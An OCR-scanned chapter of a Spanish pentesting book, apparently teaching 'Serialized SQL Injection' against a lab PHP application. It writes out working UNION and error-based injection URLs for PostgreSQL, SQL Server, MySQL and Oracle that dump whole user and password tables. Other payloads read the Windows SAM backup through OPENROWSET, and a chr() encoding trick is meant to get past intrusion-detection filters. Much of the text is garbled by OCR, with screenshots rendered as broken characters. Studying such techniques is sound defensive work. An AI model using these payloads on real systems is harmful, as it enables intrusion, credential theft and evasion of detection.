Como se reconoce en la documentacion de PostgreSQL version 8.2, ésta no soporta las funciones
tratadas en el apartado anterior:

XML to SQL Mapping
This involves converting XML data to and from relational structures. PostgreSQL has no internal
support for such mapping, and relies on external tools to do such conversions.

Mapeado de XML a SQL

E_sto implica la conversion de datos XML a y desde estructuras relacionales. PostgreSQL no
d!spone de soporte interno para este mapeado, y precisa de herramientas externas para realizar
dicha conversion

(http: /fwww., postgresql.org/docs/8. 2/static/datatype-xml.html)

Més atn: incluso en las versiones posteriores el soporte puede estar deshabilitado, dependiendo de

las opciones utilizadas al compilar e instalar la Base de Datos.

En ausencia de funciones como “table to_xml” y similares, se pueden plantear otras posibles
Soluciones que permitirian obtener toda una tabla con unas pocas peticiones. La primera de ellas
Consistiria en exportar la tabla a un archivo utilizando el comando “COPY... TO” y
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posteriormente cargarlo con “LO_IMPORT"” para terminar extrayéndolo de la tably
“pg_largeobject”, tal y como se vio en el capitulo [.

Pero es posible que la cuenta con la que la aplicacion se conecta a la Base de Datos no tengy
permisos suficientes para realizar estas operaciones. Otra opcién, probada con PostgreSQL 8. y
que no requiere privilegios especiales, es la utilizada en el siguiente ejemplo para extraer los datos
de la tabla del catdlogo “pg_proc”, que contiene las definiciones de funciones y subprogramas:

http://webserverl/pruebas/producto.php?id=-1 union
select 'Definicion:<br>" ||
array_to_string(array(
select attname || ": ' || typname
from pg_attribute,pg_type
where attrelid="pg_proc'::regclass
and pg_type.oid =pg_attribute.atttypid
order by attnum),
'<br>") || '<br=<br>Datos:<br>' ||
array_to_string(array(
select textin(record_out(row(pg_proc.*))) from pg_proc),

'<br>"), null,null,null

Muchas organizaciones utilizan funciones de la Base de Datos para almacenar las definiciones de
sus procesos y modelos de negocio. De este modo, pueden hacer uso de ellos desde diferentes
interfaces, basadas en distintas tecnologias y codificados en diversos lenguajes de programacion.
Poderlos conocer es importante. Y poderlos modificar... como poco, interesante.

Estudiando detenidamente la peticion anterior, puede observarse que la sentencia SQL inyectada
esta formada por una concatenacion de cadenas, de las que dos se corresponden con la definicién y
el contenido de la tabla, respectivamente.

La primera de ellas es el resultado de evaluar la expresién:

array_to_string(array(
select attname || " ' || typname
from pg_attribute,pg_type
where attrelid="pg_proc'::regclass
and pg_type.oid =pg_attribute.atttypid
order by attnum

). <br>)

... la cual precisa una explicacion.

La funcion array to_string toma dos parametros, un array a convertir y una cadena a usar como
separador de elementos, y produce como resultado otra cadena con la representacion del array.

Capitulo 11, Serialized SQL Injection
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© LE] - N TR ol
por su parte. ‘array” transforma la salida de una consulta SELECT de una tnica columna en un

rray. En este caso, los datos extraidos son el nombre y el tipo de las columnas de la tabla
array-

pg proc”

Finalmente, 2 clausula “order by attnum” establece el orden adecuado para las columnas.

Obtener el contenido de la tabla, aunque basado en el mismo principio, es un poco mads

complicado, ya que a priori no se conocen ni el nimero de columnas ni sus correspondientes tipos.

array_to_string(array(

select textin( record_out( row(pg_proc.*)))
from pg_proc

,<br>")

La function “row”, al devolver un valor de tipo “record” con todos los datos de una fila, resuelve

‘este problema. Pero, salvado un obsticulo, aparece otro: PostgreSQL 8.1 no soporta el uso de

arrays de este tipo.

Ni tampoco su conversion directa a tipo “text”. Sin embargo, mediante “record_out”, si es posible
transformar los datos de tipo “record” a un valor “cstring”. Y, finalmente, aplicando a éste la
funcion “textin” se genera la representacion del registro como “text”,

Uniendo todas estas piezas, se obtiene la tabla completa:

e 3 B e e
| S e 0 - B¢ X | & webserverl y in

| % Buscar| exce Anterior  Siguiente ;@ Opciones

Datos sobre el producto:

Referencia
Definicion:
tableoid: oid
cmax: cid
xmax: xid
cmin: cid
xmin: xid

‘0id: oid

ctid: tid
‘proname: name
‘pronamespace: oid
‘proowner: oid

nralana: nid
‘| [ +

H1L5% -

Fig 2.5: Definicion
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g €23

u(;;l @ http://webserverl/pruebas/p O ~ B ¢ X “ 2 webserverl » LM.J

!(“Lpg_char_max_!ength.l(]éﬂ,lﬂ,14,f.£t,f.i,2,23.""26 23" "{typid typmod}™.""SELECT CASE WHEI‘T|
1043) /* char, varchar */ THEN S2 - 4 WHEN S1 IN (1560, 1562) /* bit, varbit */ THEN $2 ELSE mull B
|("(_pg_char_octet_length.10623,10,14.££t£1,2,23,"26 23" {typid.typmod}""," SELECT CASE WHE!
(2730 AS integer) ELSE null END"",-,)")

I (" pg_numeric_precision,10623,10,14 £££i,2,23,""26 23™,,." {typid.typmod}"","SELECT CASE $1 W
WHEN 20 /*int8*/ THEN 64 WHEN 1700 /*numeric*/ THEN CASE WHEN $2 = -1 THEN null ELSE |
24 /*FLT_MANT_DIG*/ WHEN 701 /*float8*/ THEN 53 /*DBL_MANT_DIG*/ ELSE mull END"™.-))")
("(_pg_numeric_precision_radix,10623,10,14 f£t£2,23,"26 23", " {typid typmod}",""SELECT CASE
(1700) THEN 10 ELSE null END"™,-)")

("(_pg_numeric_scale,10623,10,14 f£t£1,2,23,"26 23" " {typid.typmod}"".""SELECT CASE WHEN §
WHEN $2 = -1 THEN null ELSE (52 - 4) & 65535 END ELSE mull END"".-,)")
('(_pg_datetime_precision,10623,10,14 ££££12,23,"26 23", " {typid,typmod}"",""SELECT CASE WHE
11114, 1184, 1266) /* time, timestamp. same + tz */ THEN $2 WHEN 51 IN (1186) /* interval */ THEN &= i
I"(agpere 2200 10 12 + FFFi |]n 2277 2283 apprepate_chmmv - V") 5

ie b

Fig 2.6: Filas de la tabla

También es posible aplicar estos principios a las consultas, mediante peticiones como:

http://webserverl/pruebas/producto.php?id=-1 union
select array_to_string(array(
select textin(record_out(row(T.*))) from
(select nombre,contrasena from almacen.usuarios) as T),'<br>"), null,null,null

Esta técnica produce un formato de salida poco atractivo si se compara con el proporcionado con
las funciones de soporte de XML, pero tiene la ventaja de ser compatible con mas versiones de

PostgreSQL.

())& Emmmmm £ - = o

l = webserverl

-~

HA INICIADO SESION COMO: Administrador 1 (8

Datos sobre el producto: | A

m

iﬁefumcia mere [i’_r-ecio

"

| |("usuariol ""passwordl ")

|("usuario2 ","password2 )
("leet ","P@55w0rd ") i
("admin ","passadmin "}

I(na ulnb n)

Fig 2.7: Consulta
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9. Microsoft SQL Server 2000, 2005 y 2008: Clausula
~ FOR XML

] | soporte para XML no es, ni mucho menos, patrimonio exclusivo de PostgreSQL. Microsoft SOL
Sprver dispone, ya desde su version 2000, de la clausula “FOR XML que convierte los resultados
a consulta SQL en un documento XML que puede ser tratado como una tnica cadena de tipo

e
i lausula ha sido mejorada y mantenida en Microsoft SOL Server 2005 y Microsofi SOL

+ed

Para realizar las pruebas se ha creado un nuevo script PHP, llamado “mssql.inc.php” con el codigo
tente que implementa las funciones para el acceso a una base de datos SQL Server usando la

7 | // Cerrar una conexion

function cerrar_conexion($conexion) {

mssql_close($conexion);

/I Ejecutar una consulta SQL sobre una conexion

function ejecutar_SQL($conexion, $cadena) {

/lprint $cadena;

return mssql_query($cadena,$conexion);

!l Obtener el numero de filas de un resultado

| function numero_filas($resultado) {

return mssql_num_rows($resultado);
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ar

22 - ool = O X )
. i y i ' -2 | @ ¥ x [ £ s

23 | // Obtiene la fila nimero $i de un resultado P © IMIEIRTEENIT £ - 2 ¢ X 1 © webserven * DRAR

24 | /| Para obtener un campo se usa la sintaxis $fila_obtenida['nombre-de-la-columna” .

= - e - Jsando SQL SERVER i |

26 | function fila($resultado, $i) { ) {7 INICIADO SESION COMO: Administrador _ RN fi

=l (isql g8 oo Snullach, 91 itos sobre el producto: |

28 return mssq|l_fetch_array($resultado); - —

29} R eferencia Nombre Precio

30 SEET—— . . : i

o Buscar Deghabilitar Ner Imidg Caché Herramienta ‘u’alidar|

31 | print '<h1>Usando SQL SERVER</h1>"; ..dwplo;adanmg M oS & M X

32 | $conexion = conectar("192.168.56.103", 'tester’, '123'); ML | CS5  Consola Script Generadorde perfles  Red [Buscar HTML... £|

33| 7> B 0= T
T 3] ctable width="100%" border="1"> - |

i--(br!)
B <h3>

..y se ha modificado el fichero “db.inc.php” de la aplicacion de ejemplo, que queda como sigue:
-: B <table border="1">

<?php | &-<tbody> F
x 3 W-<tr>
2 | include 'mssql.inc.php'; 2-<tr>
S-<td>
37> <row id="1" e="admin" desc="Administrador” co "passadmin”/>
<row id="2" ="ysuariol” desc="Primer Usuario" co sna="passwordl"/> -
: <row id="3" nombre="usuario2" desc="Segundo Usuario* sena="password2” />
Procediendo tal y como se mostré en el primer capitulo, se determiné que la consulta constaba de <row id="4" nombre="leet” desc="El Amigo Friki” contrasena="P@5Swerd"/> :
. e g - <td/> '
cuatro columnas: esta vez, la primera y la ultima de tipo entero: las otras dos, de tipo , ctd/>
5 S 3 s f e -
“*VARCHAR?. Esta informacion permite escribir una URL como: i ghchax
B-<form action="preoducto.php” method="get"> ™

http://webserverl/pruebas/producto.php?id=-1union select  null,cast((select  * from|
almacen.usuarios for xml raw) as varchar(MAX)),null,null :

Fig 2.8: Inyeccion for xml raw

El tipo “VARCHAR(MAX)", compatible con “VARCHAR?”, permite obtener cadenas de texto de.
hasta 2 GigaBytes de longitud. Suficiente para la mayoria de los casos, sobre todo si se tiene €n
cuenta que el Gestor de Bases de Datos y/o las distintas componentes de la aplicacion suelen’
imponer un limite inferior.

leerlos. Pero ahf estan.

sten otras opciones de “FOR XML” que pueden resultar interesantes. Una de ellas es “AUTO”,

. . . hace que los nombres de los elementos XML dependan de la consulta realizada.
En cualquier caso, siempre se pueden recuperar las tablas de mayor tamafio realizando mds de und

U i s : v g s
peticion. 2 de sus posibles aplicaciones es conseguir méas de una tabla con una tnica peticion:

) [http: o
En cuanto a la clédusula “FOR XML se refiere, puede observarse que se ha especificado la opcion | ttp—f'l’Webserver1fprucbasfpmducto.php?]d—-] _
“RAW”, que convierte cada fila en un elemento XML de tipo “row”. & Union select null, cast((select * from almacen.usuarios for xml auto) %2b
- (select * from almacen.productos for xml auto) as varchar(max)), null,null
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En este ejemplo, se codifica el cardcter “+7, que tiene un significado especial en las URLs, comg
“%2b”. En SQL Server, “+7 es el operador que permite la concatenacion de cadenas. La Siguiente
imagen muestra el resultado obtenido:

+//webserverl /pruebas/produci 0 ~ B @ X

Usando SQL SERVER |‘:_

HA INICIADO SESION COMO: Administrador

Datos sobre el producto:

Refsencia Nowbre Brci

Archivo Buscar Deshabilitar Ver Imagenes Caché Herramientas Va!idar!

Modo de explorador: IE9  Modo de documento: no estindar  — ER=X

[HTML | css  Consola Script  Generador de perfiles  Red [ Buscar HTML...

hExd» A=

| <table border="1">

| B-<tbody>

E-<tr>

E-<tr>

=-<td>

<almacen.
<almacen,

usuarios id="1" desc="Administrador" cantrasena="passadmin® nombres“admin®/»
usuarios

<almacen

<almacen

.usuarios
<almacen.
<almacen.
<almacen.

usuarios
productos
proeductos

.productos

id="2" desc="Primer Usuario” contrasena="passwordl” nombre="usuariol®/>
id="3" desc="Segundo Usuario" contrasena="password2” nombre="usuario2"/>
id="4" desc="El Amige Friki” contrasena="PE55w@rd" nombra=*leet"/>
id="1" nombres*tornillo® precig="1" referencias"AAA"/>

id="2" nombre="tuerca” precio="2* referencia="BBB"/>

idenge

nombre="pombilla" pracio="4" referencia="Cccc"/>
nombres="arandela” precio="3" referencia="DDD"/>
nombres*destornillador” precio="18* reterencia="EEE"/>

<almacen.
<almacen.
ctdf >

idm"an
id="g"

productas
productos

Fig 2.9: FOR XML AUTO

Notese como el nombre de las etiquetas XML identifican la tabla a la que pertenece la fila.

Otra opcién interesante es “XMLSCHEMA”, que proporciona la informacién relativa a la
definicion de los datos. Es posible utilizarla Junto con “AUTO” 0 “RAW”, como en:

http://webserverl/pruebas/producto.php?id=-2 union select null, cast((select nombre,contrasena
from almacen.usuarios for xml auto,xmlschema) as varchar(max)),null,null

... que extraeria la siguiente informacidn:

ementFormDefault="qualified"

o Zi="http://schemas.microsoft.com/sqlserver/ZOOﬁ/sqltypes"
i S:SQlEKEttP://www.WS.org/ZOOl/XMLSchema" xmlns:schema='u?n:schiﬁés—
lnS:xig:com'sql:SquowSetl" targetNamespace="urn:schemas-microso

0s0 "
: ;]-:sql :5qlRowSetl">

:sD:sCHE

1t
—"http://schemas.microsoft.com/sqlserver/2004/sqltypes/sq

: <XSD:ELEMENT name="almacen.usuarios">
| ¥SD:COMPLEXTYPE> )
<¥SD:ATTRIBUTE name="nombre">
<¥SD:SIMPLETYPE> ‘ )
<XSD:RESTRICTION sqltypes:sqlCompareOptlons—"Ign?regzﬁe
IgnoreKanaType IgnoreWidth" sqltypes:localeId? 3?
base="sgltypes:varchar"><XSD:MAXLENGTH value="50 />
</XSD:RESTRICTION>
</¥SD:SIMPLETYPE>
</XSD:ATTRIBUTE>

<¥SD:ATTRIBUTE name="contrasena">
3 PLETYPE>
<X§ié§f§ESTRICTION sqltypes:sqlCompareOptions="Ignﬁreggﬁe
IgnoreKanaType IgnoreWidth" sqltypes:localeIgi ge .
base="sqltypes:varchar"><XSD:MAXLENGTE value="5
</XSD:RESTRICTION>
</¥XSD:SIMPLETYPE>
</XSD:ATTRIBUTE>
</¥%5D:COMPLEXTYPE>
</XSD:ELEMENT>
| </XSD:SCHEMA>

:schemas-microsoft-
<?XML:NAMESPACE PREFIX [default] urn:sc : .
com:sgl:SglRowSetl NS5 = "urn:schemas-microsoft-com:sqgl:SglRowSetl" />

i =" dmin" nombre="admin"
<almacen.usuarios contrasena="passadmi i ——
xmlns="urn:schemas-microsoft-com:sgl:SglRowSetl ></alm§ce?.

: =1
<almacen.usuarios contrasena="passwordl" nombre—"usuarlol rioes
xmlns="urn:schemas-microsoft-com:sgl:5glRowSetl ></alma;§n.u

’ —1m
<almacen.usuarios contrasena="password2" nombr?: u?uirlzen i
= 2 -mi = :sgl:SqlRowSetl"></alma 3

xmlns="urn:schemas-microsoft-com us : .
<almacen.usuarios contrasena="P@55w0lrd" nombre="leet" xmlns="urn:schem
Microsoft-com:sgl:SqlRowSetl"></almacen.usuarios>

Pero las opciones anteriores no funcionan cuando se trata de obtener datqs bmarlos..’Y no se tra::
s6lo de iméagenes, audios y otros tipos de objeto relativamente complejos: también tienen es
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formato cosas mucho mas sencillas, como los campos de SID que aparecen en la tabla “sysuserg»
"BINARY BASE64” soluciona este problema, codificando en “Base64” tales elementos.

http://webserverl/pruebas/producto.php?id=-1 union select null,cast((select * from sysusers for
xml raw,binary base64) as varchar(MAX)),null,null

1| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
| Transitional//EN"><META http-equiv="Content-Type"
content="text/html; charset=windows-1252">

ol »

i <html>
i <head><style>

</style></head>
<body><table border="1"><tbody><tr>

DWW W

| <td>

| <row isapprole="g" issqlrole="1" isaliased="@"
issqluser="8" isntuse isntgroup="0" isntname="g@"
islogin="8" hasdbaccess="8" gid="@" altuid="1"

| updatedate="2010-04-82T16:59:21.817" createdate="2003- i
| 84-83T@9:10:19.638"
s1d="AQUAAAAAAAKEARAARXPSFCSEFUiKGCM3Xd1SVg=="
name="public" status="8" uid="8"></row><row

: 6 : :

e s 1 1 T 1 g vaw

[

Fig 2.10: For XML... Binary Basc64

Otra aplicacion de “BINARY BASE64” seria acceder a ficheros de configuracion del sistema que
contienen datos binarios. Es el caso de las copias de la SAM y otros ficheros del Registro que
Windows Server 2008 va almacenando en la carpeta “C:\Windows\System32\Config\Regback™. Si
se cuenta con los permisos necesarios para leerlos y no son demasiado grandes, claro esta:

http://webserverl/pruebas/producto.php?id=-1 union select null,cast((
SELECT * FROM Openrowset (Bulk 'C:\windows\system32\config\regback\sam.old',
SINGLE_BLOB) as F for xml raw, binary base64
) as varchar(MAX)).null,null

: <head><style>

»

| </style></head> i
| <body><table border="1"><tbody><tr><td>

[C- - RN Y Y

<row

| BulkColumn="cmVnZ1gAAABYAAAAFOXSFuLT ZAEBAAAAAWAAAAAAAAABAAAAT
'QAAAACAAAABﬁAAAXABTAHkAcwE@AGUAbQBSAGBAwaBQFNAUwBSAHHAdABlAG
_Bﬁ}thyAFwAQwBVAG4AIgBpAGcAXABTAEEATQAAADBGXnZSdeRQCSAvamplo

;QxlSBUMXCEaArABm?SqZaAAAﬁAD?GXnZSxdwRoCsAvamplpbeRtAAAAAAAA l
S AAAAMAAAAAANAADAAAAAAAASAAANAANAOANASANAANAADAANAAAARAAAAAAAR T

P ——

Fig 2.11: Leyendo una copia de la SAM
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..en otras opciones de “FOR XML, como “EXPLICIT” o “PATH”, que no seran tratafias en
e ampliar conocimientos a este respecto, se remite al lector a la documentacion de

<te libro. Para ) ; . : 8 iy
= la siguiente direccion: hitp://msdn.microsoft.com/es-es/library/ms 19 .aspX

gQL Server €n

2. Serialized SQL Injection en MySQL

Antes de poder realizar pruebas con MySQL, es necesario modificar la aplicacion que se esta
n . ' : EE} B La
utilizando como ejemplo, creando en primer lugar un fichero “mysql.inc.php™ con la definicion de
1as funciones de acceso a la base de datos:

<?php
/] Abrir una conexién con la Base de Datos

3 | function conectar($host, $usuario, $contrasena) {

|

return mysql_connect($host, $usuario, $contrasena);

/I Cerrar una conexion

] e

3 | function cerrar_conexion($conexion) {

mysql_close($conexion);

| _ﬁ\. e:-c?f- "b«‘
—

12 | // Ejecutar una consulta SQL sobre una conexion
13 | function ejecutar_SQL($conexion, $cadena) {
14 return mysql_query($cadena,$conexion);
151}

16
?-’1:7 /I Obtener el nimero de filas de un resultado

18 function numero_filas($resultado) {

19 return mysgl_num_rows($resultado);

20|}

21

22 | // Obtiene la fila nimero $i de un resultado

23 | /I Para obtener un campo se usa la sintaxis $fila_obtenida["nombre-de-la-columna"]
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24
25 | function fila($resultado, $i) {
26 mysql_data_seek($resultado, $i);

27 return mysql_fetch_assoc($resultado);

28}

29

30 | print '<h1>Usando MySQL</h1>";

31 | $conexion = conectar("localhost", 'root', '123);

32

33| 7>

... y modificando después “db.inc.php™:

<?php

2 |include 'mysql.inc.php’;

7>

A diferencia de los Gestores de Bases de Datos anteriores, MySQOL no proporciona un mecanismo
genérico para convertir los datos de una consulta SELECT a formato XML. Por defecto sélo es
posible  hacerlo desde linea de comandos, utilizando la opcién —xml (véase
htip://dev.mysql.com/doc/refman/s.6/en/xml-functions. html).

Otra opcion seria hacer uso de una componente udf Ilamada MyXML. Pero ésta no suele
encontrarse instalada en la mayoria de los sistemas.

Atin asf, sigue siendo posible construir el drbol XML de forma manual, serializando todos los
resultados como un tinico campo de tipo string, gracias a las funciones “concat” y “group_concat”.

La primera de ellas es el operador basico de concatenacion, el equivalente al “||” de PostgreSQL.
“group concat”, por su parte, concatena valores de las distintas filas de un grupo en una Ginica
cadena. Combinando ambas se puede construir una URL como la siguiente:

http://webserver1/pruebas/producto.php?id=-1 union
select null,
concat("\n<tabla=\n',
group_concat(' <fila><nombre>',
nombre,
'</nombre><passwd>",
contrasena,

sulo 11 Serialized SOL Injection “

'</passwd></fila>'
SEPARATOR "\n'),
"\n</tabla>\n"),
null,null
from almacen.usuarios

“group_concat”, en primer lugar, recorre los resultados de la consulta, fila a fila, uniendo para cada
una de ellas los valores que se le pasan como parametros en una tnica cadena. Después, toma los
resultados obtenidos para las distintas filas y los concatena, separandolos mediante el valor
indicado como “SEPARATOR”. En el ejemplo se ha utilizado un caricter de nueva linea para
facilitar la posterior lectura del cadigo generado.

Después, se usa “concat” para introducir las etiquetas XML correspondientes al inicio y final de la
tabla. El resultado puede ser comprobado en la siguiente imagen:

1 <hl>Usando MySQL</h1>

2 | <table border="1" width="1@8%">

3 <tr width="180%"><td>

4 HA INICIADO SESI&Dacute;N COMO: Administrador</td></tr>

</table><br><h3>Datos sobre el producto:</h3><table border=1'"><tr>

<trrReferenciag/tdr<td>Namhres/td><td»Precing/td></tra<tr><td>

<tabla>
<fila»<nombre>admin</nombre><passwd>passadmin</passwd></fila>
<fila><nombre>usuariol</nombre><passwd>passwordl</passwd></fila>
<fila»<nombre>usuario2</nombre><passwd>password2</passwd></fila>
<filar<nombre>leet</nombre><passwd>P@55werd</passwd></fila>

1€ </tabla>

11 </td><td></td><td>»</td></tr></table><h3>Buscar producto</h3>

12 <form method="GET" action="producto.php">

L Iy TR B T Y

13 Buscar: <input type="text" id="id" name="id">
14 <input type="submit™ value="Buscar">
15 </form>

Fig 2.12: MySQL

Varios son los inconvenientes que presenta esta técnica. EI primero de ellos es que no es posible
utilizar el cardcter “*” para obtener la informacion de todas las columnas. Es necesario realizar
antes una consulta a las tablas del esquema que extraiga sus nombres y caracteristicas, de forma
que se pueda construir una instruccion SQL correcta.

Por otro lado, existe una limitacién a la longitud de la cadena que retorna “group concat”,
impuesta por el valor de la variable global “group concat_max len”. Inicialmente, esta fijada en
1024 caracteres, si bien es posible modificarla. En este caso, no se podra superar el valor de la
variable “max_allowed packet”, que por defecto es de 16M. Es posible que sea necesario

fraccionar la tabla en varias consultas para no sobrepasar estos maximos.

Para ir acabando, hay que tener presente que puede ser necesario utilizar la funcion CAST(valor as
char) para solucionar los problemas derivados de la incompatibilidad de algunos tipos de datos con
la concatenacion de caracteres.
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4. Serialized SQL Injection en Oracle Databases

Oracle también permite convertir tablas enteras a formato XML. Para comprobarlo, se usaran lag
siguientes funciones de acceso a la base de datos: :

12 | // Cerrar una conexion

13 | function cerrar_conexion($conexion) {

14 $conexion->close:
15|}
16

17 | /] Ejecutar una consulta SQL sobre una conexion

18 | function ejecutar_SQL($conexion, $cadena) {

19 $retorno = array();
20 $resultado = $conexion->getAll($cadena);
21 foreach ($resultado as $num => $fila) { //pasar nombres de campo a mintisculas
22 $retorno[$num] = array();
23 foreach($fila as $clave => $valor) {
24 $retorno[$num][strtolower(Sclave)] = $valor;
25 }
26 }
27, return $retorno;
EEE

1| <2php ~ il
e
2 | require 'adodb/adodb.inc.php’;
3 | require ‘adodb/adodb-exceptions.inc.php';
4 | // Abrir una conexion con la Base de Datos
5 | function conectar($host, $usuario, $contrasena) {
6 $db = ADONewConnection('oci8');
7 $db->Connect($host, $usuario, $contrasena, 'XE');
8 $db->SetFetchMode(3);
9 return $db;
10|}
11
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/| Obtener el numero de filas de un resultado

nction numero_filas($resultado) {

return count($resultado);

Obtiene la fila nimero $i de un resultado

Para obtener un campo se usa la sintaxis $fila_obtenida["nombre-de-la-columna"]

function fila($resultado, $i) {
return $resultado[$i];

print '<sh1>Usando ORACLE</h1>";
$conexion = conectar('192.168.56.103', 'system', 'ASDasd123');

El c6digo anterior se almacend en un fichero llamado “oracle.inc.php”, que fue referenciado
dentro de “db.inc.php™:

De este modo, el programa de ejemplo accedera a una Base de Datos ORACLE.

El problema sigue siendo el mismo: obtener una tabla completa con una tinica peticion. Y, en este
€as0, la solucion viene de la mano del tratamiento de documentos XML y de cinco de las
funciones con que ORACLE soporta esta caracteristica:

[ XMLForest Crea elementos XML a partir de sus parametros de entrada
XMLElement | Afiade un clemento a un documento XML
SYS XM Lagg Combina varios documentos XML en uno, aplicando el formato que se le pasa
como segundo pardmetro
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XMLFormat Crea un formato a partir de una cadena.
GetStringVal Es un método de la clase XML que permite obtener una cadena con el texto
correspondiente a un documento XML

Combinandolos, se puede escribir esta peticion:

http://webserverl/pruebas/producto.php?id=-1 union
select null,

- sys_xmlagg(
xmlelement(fila,xmlforest(nombre,contrasena)),
xmlformat('Usuarios")

).getstringval(),
null,null from almacen.usuarios

Con “xmlforest(nombre,contrasena)” se generan los elementos XML correspondientes a las dos
columnas indicadas. Después, ambas son agrupadas bajo un nodo padre de tipo “fila” utilizando la
funcién “xmlelement”,

Para crear un tinico documento a partir de los datos de todas las filas, se aplica la funcién

“sys_xmlagg”. Su segundo argumento, “xmlformat('Usuarios')”, indica el nodo raiz del arbol
XML.

Finalmente, se convierte a texto el documento mediante el método “getstringval™. El resultado
puede ser observado en el cédigo fuente de la pagina de respuesta:

— - -
2| http://webserverl/pruebas/producto.php?id=-1 union select null,sys_x...LE[_EU&]
' Archivo E_d'rtar Formatear
1 <hl»Usando ORACLE</h1> »
2 )
3 | <table border="1" width="1@8%"> |
4! <tr width="100%"><td> |
5 HA INICIADO SESI&QOacute;N COMO: Administrador</td>| |
</tr></table><br><h3>Datos sobre el producto:</h3><table
i border=1""><tr><td>Referencia</td><td>Nombre</td><td>Precio

P </td></tro<tr><td <2xml version="1.0"?> [
€ ! <Usuarios> =
i 7 <FILA><NOMBRE>admin</NOMBRE><CONTRASENA>passadmin</CONTRASENA> [
| </FILA><FILA><NOMBRE>usuariol</NOMBRE><CONTRASENA>passwordl [
</CONTRASENA></FILA><FILA><NOMBRE>usuario2</NOMBRE><CONTRASENA> |
' | password2</CONTRASENA></FILA><FILA><NOMBRE>1leet</NOMBRE> '
| <CONTRASENA>P@55werd</CONTRASENA></FILA></Usuarios>

8 PRALUZSLUAS LUAS LU LA L A Laddiessiid suuseal P uuun Lus g D e

9 <form method="GET" action="producto.php”> -
10 Buscar: <input type="text" id="id" name="id">
L 111 <input tvpe="submit” wvalue="Buscar">

Fig 2.13: ORACLE

Capitulo I1. Serialized SQL Injection

Al igual que sucedia en MySQL, no es posible utilizar el cardcter comodin “*" para extraer todos
Jos campos de una tabla, por lo que sera necesario realizar previamente consultas al diccionario de
datos para extraer la informacion relativa a las columnas. Y el tamano méximo para la respuesta
obtenida sera de 4000 caracteres. Como siempre, si no basta con ellos, serd necesario distribuir los
datos entre varias peticiones.

5. Serialized SQL Injection basada en errores

Con lo hasta ahora visto, es posible aplicar las técnicas de Serialized SQL Injection a cuatro de los
motores de bases de datos mas utilizados. Sélo hace falta que exista una vulnerabilidad y que se
pueda forzar a la aplicacion a mostrar como propios los datos que el atacante decida insertar.

Pero, como se vio en el capitulo 1, ésta no es la tinica forma de extraer la informacién. Otra técnica
frecuentemente utilizada es la de SQL Injection basada en errores. Y fue Alexander Kornbrust
quien se encargoé de potenciarla y combinarla con los conceptos tratados en este capitulo. Puede
obtenerse mas informacion al respecto en la direccion: htip://blog.red-database-
security.com/2009/02/08/new-sql-injection-whitepaper-for-sql-server/

Basicamente, se trata de producir situaciones de excepcion en la aplicacion para que ¢sta revele
informacion en los mensajes de aviso. Por ejemplo, si mediante la funcion
“utl_inaddr.get_host name” de ORACLE se intenta determinar la direccion IP de un host
inexistente, posiblemente se produzca un mensaje del tipo:

“host <nombre de host> inexistente”.

Dicho esto ;qué ocurriria si el parametro que se le pasa a “utl_inaddr.get_host _name” es un
documento XML con los datos de una consulta SQL?

http://webserverl/pruebas/producto.php?id=1 union
select null,
utl_inaddr.get _host name(T.V), null, null
from
(select sys xmlagg(
xmlelement(fila,xmlforest(nombre,contrasena)),
xmlformat('Usuarios')
).getstringval() as V from almacen.usuarios) T

Como puede apreciarse en la siguiente imagen, el mensaje de error incluye todo el documento

" XML. Toda la tabla.

Si las restricciones de seguridad hicieran imposible el uso de la funcion utl_inaddr.get_host_name,
se puede recurrir a otras que proporcionen un resultado similar. Por ejemplo, como sefala
Alexander Kornbrust, ‘ctxsys.drithsx.sn™:



http://webserver/pruebas/producto.php?id=1 union
select null, ctxsys.drithsx.sn(1,T.V), null, null
from (select "---------VERSION: ' || version||'------ ' V from v$instance) T

i; .'|i & http:/ ‘webserverl pruebas/pr O~ © x_”—e webserverd

| Anterior Siguiente | Opciones = |

Usando ORACLE I

HA INICIADO SESION COMO: Administrador I=]

X Buscer; | verb

Fatal error: Uncaught exception 'ADODB_Exception' with message 'oci8
error: [29257: ORA-29257: host <?xml version="1.0"7> <Usuarios>
<FILA><NOMBRE=>admin</NOMBRE><C ONTRASENA>passadmin</CON1]
unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at
"SYS.UTL_INADDR", line 35 ORA-06512: at line 1] in EXECUTE("select *
from almacen.productos where id = 1 union select mull,

il inadde ont hact wamafT I anll anll S Frnlans oo
4 m

sl

|

Fig 2.14: Error

6. Automatizacién

Si bien es cierto que las técnicas mostradas en este capitulo son capaces de acelerar el proceso de
extraccion de datos, también lo es que pueden requerir un mayor grado de complejidad en el
codigo SQL a inyectar y las URLs a generar.

Dependiendo del Gestor de Bases de Datos utilizado, puede ser necesario construir el documento
XML anidando funciones. A veces es necesario un acceso previo al diccionario para determinar
los nombres y los tipos de las columnas. No se deben olvidar las conversiones de tipos. Si el
documento es demasiado grande, hay que fraccionar la tabla y recuperarla en varias peticiones. ..

Y, por si esto fuera poco, el uso de comillas junto con los operadores de comparacion “<”, *>"¢
“=" podrian levantar alertas en los sistemas de filtrado contra Cross Site Scripting o SOL Injection
del servidor objeto de estudio, por lo que se deben buscar otras codificaciones alternativas, que
sean menos sospechosas. Por ejemplo, en ORACLE, en lugar de

select '<Fila>' from dual;

... 8¢ puede poner:

EcIecl chr(60)/|chr(70)||chr(105)|[chr( 108)]|chr(97)||chr(62) from dual; J

--- que posiblemente pase més desapercibido a los mecanismos de deteccién de ataques e intrusos.
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uchas las cosas a tener en cuenta. Muchas posibilidades de equivocarse. Mucho trabajo para

n:‘lgui]_ una peticion correcta. Debido a esta razon, es recomendable automatizar el proceso
on;iante diversas herramientas que realicen todo el trabajo sucio y proporcionen al Pentestcr el
'*'empo que necesita para centrarse en su verdadero objetivo, que es el descubrimiento de la
tie 1
qulnerabilidad.
José Maria Palazon, mas conocido como Palako, implementé todos estos algoritmos en una
< 0 3 . .
herramienta desarrollada en COCOA, un framework para ‘desarmll‘a'r programas y apllcachlones,eﬁ
entronos Mac OS X y sobre los que puede obtenerse informacion adicional en la direccion:
Cll )
j;;q;;//de veloper.apple.com/technologies/mac/cocoa.html

L 3

En este entorno, es suficiente marcar el lugar de la URL donde se debe realizar la inyeccion con el
patron “/SOLJ”, y a partir de ese instante la herramienta funciona como si fuera un interfaz de
%omandos de consolad de MySQL, y extrayendo con solo hacer clic en los elementos toda la
‘informacion relativa a ese nodo del arbol.

i

["'@ mysqlinjector  File
©00

Edit Window Help T A4 EF mié22:33 T José M.Palazén | ()

1
MySql Injectoc

